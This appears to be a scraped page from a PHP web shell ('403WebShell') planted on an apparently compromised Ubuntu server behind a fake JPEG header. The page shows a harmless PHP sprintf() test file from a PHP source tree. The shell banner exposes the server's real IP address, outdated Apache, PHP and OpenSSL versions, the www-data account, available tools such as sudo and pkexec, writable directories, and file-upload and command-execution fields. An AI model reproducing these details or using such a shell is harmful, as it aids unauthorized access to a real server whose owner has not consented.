????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.14.133.138
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/general_functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/general_functions/001.phpt
--TEST--
sprintf() function
--FILE--
<?php 

$agent = sprintf("%.5s", "James Bond, 007");

echo("sprintf string truncate test:   ");
if ($agent == "James") {
	echo("passed\n");
} else {
	echo("failed!\n");
}

echo("sprintf padding and align test: ");
$test = sprintf("abc%04d %-20s%c", 20, "fisketur", 33);
if ($test == "abc0020 fisketur            !") {
	echo("passed\n");
} else {
	echo("failed!\n");
}

echo("sprintf octal and hex test:     ");
$test = sprintf("%4o %4x %4X %0"."8x", 128, 1024, 49151, 3457925);
if ($test == " 200  400 BFFF 0034c385") {
	echo("passed\n");
} else {
	echo("failed!\n");
}

echo("sprintf octal binary test:      ");
$test = sprintf("%b", 3457925);
if ($test == "1101001100001110000101") {
	echo("passed\n");
} else {
	echo("failed!\n");
}

echo("sprintf float test:             ");
$test = sprintf("%0"."06.2f", 10000/3.0);
if ($test == "003333.33") {
	echo("passed\n");
} else {
	echo("failed!\n");
}

echo sprintf("%.2f\n", "99.00");
echo sprintf("%.2f\n", 99.00);

echo sprintf("%e\n", 1.234E-18);
echo sprintf("%e\n", 1.234E+18);
echo sprintf("%e\n", 9843243.12);
echo sprintf("%e\n", -9843243.12);

?>
--EXPECT--
sprintf string truncate test:   passed
sprintf padding and align test: passed
sprintf octal and hex test:     passed
sprintf octal binary test:      passed
sprintf float test:             passed
99.00
99.00
1.234000e-18
1.234000e+18
9.843243e+6
-9.843243e+6

Youez - 2016 - github.com/yon3zu
LinuXploit